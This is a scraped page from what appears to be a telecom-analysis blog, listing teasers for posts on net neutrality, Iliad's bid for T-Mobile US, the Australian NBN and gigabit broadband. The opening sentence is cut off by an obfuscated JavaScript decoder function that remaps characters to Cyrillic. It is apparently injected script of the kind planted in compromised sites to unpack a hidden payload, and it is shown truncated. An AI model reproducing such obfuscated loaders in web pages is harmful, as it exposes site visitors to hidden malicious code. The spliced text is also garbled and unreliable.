Towards the tail-end of last week, tech journalist function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
Is access competition enough to ensure Net Neutrality?
In an opinion piece published recently, The Economist argues that the Net Neutrality problem is really a competition problem. I have argued the same in the past. On paper, the argument makes sense.
If there is no underlying cost
The Disruptive Power of Wholesale Approaches
Steve Kamman’s blog Strong Views Lightly Held has come back to life. This is excellent news. Steve is both a top telecom market expert
Has Eircom unearthed a Pot of Gold?
Last week both the Fiberevolution blog and the Diffraction Analysis website crashed spectacularly, for which I apologise. It also means that I wasn't
Is management T-Mobile USA’s layer of fat ?
There’s an article in French magazine Challenges this week about Iliad and T-Mobile. It's entitled "How Iliad-Free bluffed the Americans" (in
Can Iliad Succeed in the US Market?
A topic that I’ve been following closely over the summer despite a relatively lackluster press coverage in non-French speaking media is the attempted bid by Iliad on T-Mobile US. This is interesting to me for a number of reasons,
Is Turnbull planning to turn the NBN over to Telstra ?
A few months ago, when the coalition’s plans for the Australian NBN were announced, I wrote the following in an article on Telecom TV:
The core of Labor’s NBN plan though, which is the structural separation of networks
Can the Australian Fiber NBN be radically redesigned?
To say that everything surrounding the Australian NBN is a political can of worms would be an understatement. The general elections in a few weeks, with Labor trailing in the polls, may spell if not the doom at least a
Gigabit Musings
Just a quick note to point out two recent articles on gigabit broadband.
- The first is in French
Table Ronde du G9+ le 24 Juin
(Apologies for non-French speakers but since this is an announcement for a French event in French, it didn’t seem to make much sense writing it in English.)
Le 24 Juin, le G9+, un Think Tank formé d’anciens